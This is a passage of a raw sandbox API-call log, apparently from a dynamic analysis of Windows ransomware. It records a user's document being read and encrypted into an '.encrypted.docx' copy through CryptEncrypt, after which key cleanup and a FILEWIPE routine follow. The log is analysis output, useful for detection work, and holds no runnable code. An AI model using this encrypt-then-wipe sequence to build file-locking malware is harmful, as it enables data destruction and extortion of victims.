out: lpNewFilePointer=0x0) returned 1 [0024.459] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dfe930, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dfe930*=0) returned 1 [0024.459] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.459] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.459] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.459] GetFileAttributesW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Documents\\FW U\\gIFhUCqicYTOVJewuyW\\" (normalized: "c:\\users\\5jghkoaofdp\\documents\\fw u\\gifhucqicytovjewuyw")) returned 0x10 [0024.460] CreateFileW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Documents\\FW U\\gIFhUCqicYTOVJewuyW\\Par3V.encrypted.docx" (normalized: "c:\\users\\5jghkoaofdp\\documents\\fw u\\gifhucqicytovjewuyw\\par3v.encrypted.docx"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0024.460] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.460] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.460] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.460] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.461] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dfe9e0, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dfe9e0*=0) returned 1 [0024.461] ReadFile (in: hFile=0x1fc, lpBuffer=0xe8f41a09b0, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dfea20, lpOverlapped=0x0 | out: lpBuffer=0xe8f41a09b0*, lpNumberOfBytesRead=0xe8f3dfea20*=0x958f, lpOverlapped=0x0) returned 1 [0024.462] ReadFile (in: hFile=0x1fc, lpBuffer=0xe8f41a09b0, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dfea20, lpOverlapped=0x0 | out: lpBuffer=0xe8f41a09b0*, lpNumberOfBytesRead=0xe8f3dfea20*=0x0, lpOverlapped=0x0) returned 1 [0024.464] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.464] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.465] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.465] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTDATA", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTDATA") returned 0x12 [0024.465] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.465] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.465] CharUpperBuffW (in: lpsz="__CRYPT_GETCALGFROMCRYPTKEY", cchLength=0x1b | out: lpsz="__CRYPT_GETCALGFROMCRYPTKEY") returned 0x1b [0024.465] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0024.465] CharLowerBuffW (in: lpsz="uint;dword", cchLength=0xa | out: lpsz="uint;dword") returned 0xa [0024.466] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0024.466] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0024.466] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0024.466] PeekMessageW (in: lpMsg=0xe8f3dfd7f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfd7f0) returned 0 [0024.466] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0024.466] CryptGetKeyParam (in: hKey=0xe8f4062330, dwParam=0x7, pbData=0xe8f40649d0, pdwDataLen=0xe8f3dfd858, dwFlags=0x0 | out: pbData=0xe8f40649d0*=0x660e, pdwDataLen=0xe8f3dfd858*=0x4) returned 1 [0024.466] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0024.466] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0024.467] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.467] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.467] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.467] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.467] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.467] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.467] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0024.467] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0024.467] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0024.467] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0024.467] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0024.467] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0024.467] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0024.467] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0024.467] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0024.467] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0024.467] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.469] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.469] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.469] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.469] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0024.469] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0024.469] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0024.469] CryptEncrypt (in: hKey=0xe8f4062330, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0, pdwDataLen=0xe8f3dfdf68*=0x958f, dwBufLen=0x0 | out: pbData=0x0, pdwDataLen=0xe8f3dfdf68*=0x9590) returned 1 [0024.469] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.469] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.469] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.469] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.469] CharLowerBuffW (in: lpsz="byte[38289]", cchLength=0xb | out: lpsz="byte[38289]") returned 0xb [0024.469] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.470] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.470] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0024.470] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0024.470] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0024.470] CryptEncrypt (in: hKey=0xe8f4062330, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xe8f41dcab0*, pdwDataLen=0xe8f3dfdf68*=0x958f, dwBufLen=0x9590 | out: pbData=0xe8f41dcab0*, pdwDataLen=0xe8f3dfdf68*=0x9590) returned 1 [0024.470] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.470] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.470] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.470] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.470] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.470] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.470] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0024.470] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0024.470] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0024.470] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0024.471] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0024.471] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0024.471] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0024.471] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0024.471] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0024.471] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0024.471] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.473] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.473] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.473] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.473] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.474] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.474] CharUpperBuffW (in: lpsz="_CRYPT_DESTROYKEY", cchLength=0x11 | out: lpsz="_CRYPT_DESTROYKEY") returned 0x11 [0024.474] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0024.474] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0024.474] PeekMessageW (in: lpMsg=0xe8f3dfe0f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe0f0) returned 0 [0024.474] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0024.474] CryptDestroyKey (hKey=0xe8f4062330) returned 1 [0024.474] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0024.474] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0024.474] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0024.474] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0024.474] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0024.474] PeekMessageW (in: lpMsg=0xe8f3dfe350, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe350) returned 0 [0024.474] PeekMessageW (in: lpMsg=0xe8f3dfe350, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe350) returned 0 [0024.474] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0024.474] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0024.474] PeekMessageW (in: lpMsg=0xe8f3dfe060, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe060) returned 0 [0024.474] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0024.474] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0024.474] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0024.474] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0024.474] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.474] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0024.474] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.474] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0024.474] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0024.474] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0024.475] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.475] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0024.475] PeekMessageW (in: lpMsg=0xe8f3dfe510, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe510) returned 0 [0024.475] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.475] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0024.475] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0024.475] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0024.475] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0024.475] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0024.475] CryptReleaseContext (hProv=0xe8f4199a20, dwFlags=0x0) returned 1 [0024.475] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.475] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0024.475] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0024.475] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.475] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.475] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.476] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.476] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.477] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0024.477] CharUpperBuffW (in: lpsz="FILEWIPE", cchLength=0x8 | out: lpsz="FILEWIPE") returned 0x8 [0024.477] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.477] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.477] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.477] CharLowerBuffW (in: lpsz="byte[38287]", cchLength=0xb | out: lpsz="byte[38287]") returned 0xb [0024.478] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.478] CharUpperBuffW (in: lpsz="MEMSET", cchLength=0x6 | out: lpsz="MEMSET") returned 0x6 [0024.478] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.478] CharLowerBuffW (in: lpsz="ptr:cdecl", cchLength=0x9 | out: lpsz="ptr:cdecl") returned 0x9 [0024.478] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.478] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.478] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.478] CharUpperBuffW (in: lpsz="_WINAPI_CREATEFILE", cchLength=0x12 | out: lpsz="_WINAPI_CREATEFILE") returned 0x12 [0024.478] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.478] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.478] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, 